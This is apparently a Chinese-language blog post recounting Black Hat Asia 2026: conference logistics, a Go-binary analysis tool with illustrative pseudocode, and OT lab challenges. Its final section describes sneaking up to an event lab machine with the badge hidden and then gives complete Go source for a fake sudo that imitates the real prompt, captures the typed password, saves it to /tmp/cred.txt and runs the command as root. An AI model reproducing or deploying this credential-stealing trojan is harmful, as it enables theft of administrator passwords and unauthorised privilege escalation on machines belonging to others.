在BlackHat 2026大会中社会工程官方实验员-171主机测评

序言

从去年开始，我离开了大约六个月。在此期间，发生了许多意想不到且无法控制的事件。

由于项目仓库的大规模滥用，不同地区的相关部门采取了账户执法行动，许多研究档案和项目资料被删除。因此，大量研究工作丧失。

幸运的是，我的博客幸存下来，至今仍然可用。

在这里插入图片描述
今年，我有幸受邀参加四月在新加坡举办的 Black Hat 大会。

BlackHat 2026 Asia

在这里插入图片描述
我匆匆坐地铁赶过去，顺手买了杯咖啡，然后直接来领取我的警徽。工作人员在开始和结束班次时都非常准时，所以我不想迟到。

在这里插入图片描述

说实话，这里的安保人员非常谨慎…

在这里插入图片描述
在这里，你需要自己选择感兴趣的主题，因为有些讲座是并行进行的。例如，你可以先筛选与物联网或 OT 安全相关的会话，然后据此制定自己的时间表——这大大提高了效率。

主题演讲是亮点，绝对值得参加，不容错过。

在这里插入图片描述

讨论&&武器库

在这里插入图片描述

每场通常有两到三位演讲嘉宾。如果不明白内容，可以在问答环节提问，或者在问答结束后主动联系演讲者获取联系方式。一般来说，大多数参与者先看表面，如果内容有趣再深入。

对我来说最令人印象深刻的是《佐里亚》。它不依赖源代码、日志或运行时分析——而是直接分析 Go 二进制文件和匹配行为模式，以检测竞态条件、空指针去引用、整数溢出和未处理的紧急状态等问题。

在现实世界的 OT 环境中，许多系统——如数据采集管道或 AGV——实际上是通过 Go 实现的数据处理。如果关键组件存在竞赛条件，攻击者可能会修改或删除重要参数。

Zorya 之所以有趣，是因为它巧妙地采用了写时复制和分层状态管理机制，只复制沿特定执行分支变化的数据，从而大幅降低内存占用和计算开销。

乍一看有点复杂…

// Logic pseudocode
// zorya
func main() {
// original data
name := "Martin"
score := 100
age := 25
if condition1 {
// Branch A
name = "Ros"
} else if condition2 {
// Branch B
score = 200
} else {
// Branch C
age = 30
}
}
Final result:
Ros | 100 | 25
Martin | 200 | 25
Martin | 200 | 30
// ordinary tool
func main() {
// original data
name := "Martin"
score := 100
age := 25
// full copy of Branch A
nameA := name
scoreA := score
ageA := age
// full copy of Branch B
nameB := name
scoreB := score
ageB := age
// full copy of Branch C
nameC := name
scoreC := score
ageC := age
if condition1 {
nameA = "Ros"
} else if condition2 {
scoreB = 200
} else {
ageC = 30
}
}
Final result:
Ros | 100 | 25
Martin | 200 | 25
Martin | 200 | 30

实验室：SpaceCan 注入

在这里插入图片描述

实验室：水处理厂入侵与彩蛋

在这里插入图片描述

在这里插入图片描述

你可以在这里查看。
https://s34s0n.github.io/sysrupt-portable-ot-range/

总体来说，体验相当不错。不幸的是，在第九个挑战时，实验室工作人员直接切断了电源。说实话，挺突然的…

… 在这里插入图片描述
后来，在观察了不同的实验室区域后，我注意到这里的实验室工作人员似乎没有提供根证书。

之后，在参观其中一台机器时，我发现了一些有趣的发现…

在这里插入图片描述

在这里插入图片描述
首先，将你的徽章翻到胸前，因为上面包含了你的个人信息。端着一杯咖啡，慢慢走向机器，假装思考一会儿。需要做一些初步的准备…

一般来说，我们无法获得 sudo 之后使用的密码，因为它是隐藏的。不过，也可以制作一个假的 sudo 程序来捕捉密码。

在这里插入图片描述

// Steal root's password
package main
import (
"bufio"
"fmt"
"io"
"os"
"os/exec"
"strings"
"syscall"
"golang.org/x/term"
)
func getLoginName() string {
user := os.Getenv("USER")
if user == "" {
user = os.Getenv("LOGNAME")
}
if user == "" {
user = "user"
}
return user
}
const info = `usage: sudo -h | -K | -k | -V
usage: sudo -v [-ABkNnS] [-g group] [-h host] [-p prompt] [-u user]
usage: sudo -l [-ABkNnS] [-g group] [-h host] [-p prompt] [-U user]
[-u user] [command [arg …]]
usage: sudo [-ABbEHkNnPS] [-r role] [-t type] [-C num] [-D directory]
[-g group] [-h host] [-p prompt] [-R directory] [-T timeout]
[-u user] [VAR=value] [-i | -s] [command [arg …]]
usage: sudo -e [-ABkNnS] [-r role] [-t type] [-C num] [-D directory]
[-g group] [-h host] [-p prompt] [-R directory] [-T timeout]
[-u user] file …`
func saveCred(password string) {
_ = os.WriteFile("/tmp/cred.txt", []byte(password+"\\n"), 0644)
}
func rootExec(cmds []string, rootPass string) {
args := append([]string{"-S"}, cmds…)
cmd := exec.Command("/usr/bin/sudo", args…)
stdinPipe, _ := cmd.StdinPipe()
stdoutPipe, _ := cmd.StdoutPipe()
cmd.StderrPipe()
_ = cmd.Start()
_, _ = stdinPipe.Write([]byte(rootPass + "\\n"))
_ = stdinPipe.Close()
scanner := bufio.NewScanner(stdoutPipe)
for scanner.Scan() {
fmt.Println(strings.TrimSpace(scanner.Text()))
}
_ = cmd.Wait()
}
func main() {
cmdArgs := os.Args[1:]
if len(cmdArgs) == 0 {
fmt.Println(info)
return
}
attempts := 0
for attempts < 3 {
err := func() error {
args := append([]string{"-S"}, cmdArgs…)
cmd := exec.Command("/usr/bin/sudo", args…)
stdinPipe, err := cmd.StdinPipe()
if err != nil {
return err
}
stdoutPipe, err := cmd.StdoutPipe()
if err != nil {
return err
}
cmd.Stderr = cmd.Stdout
if err := cmd.Start(); err != nil {
return err
}
username := getLoginName()
fmt.Printf("[sudo] password for %s: ", username)
pwdBytes, err := term.ReadPassword(int(os.Stdin.Fd()))
fmt.Println()
if err != nil {
return err
}
pwd := string(pwdBytes)
_, err = stdinPipe.Write([]byte(pwd + "\\n"))
_ = stdinPipe.Close()
if err != nil {
if err == syscall.EPIPE {
return err
}
return err
}
output, _ := io.ReadAll(stdoutPipe)
lines := string(output)
_ = cmd.Wait()
if attempts == 2 {
fmt.Println("sudo: 3 incorrect password attempts")
} else if strings.Contains(lines, "again") {
fmt.Println("Sorry, try again.")
} else {
saveCred(pwd)
rootExec(cmdArgs, pwd)
os.Exit(0)
}
return nil
}()
if err != nil {
attempts++
continue
}
attempts++
}
}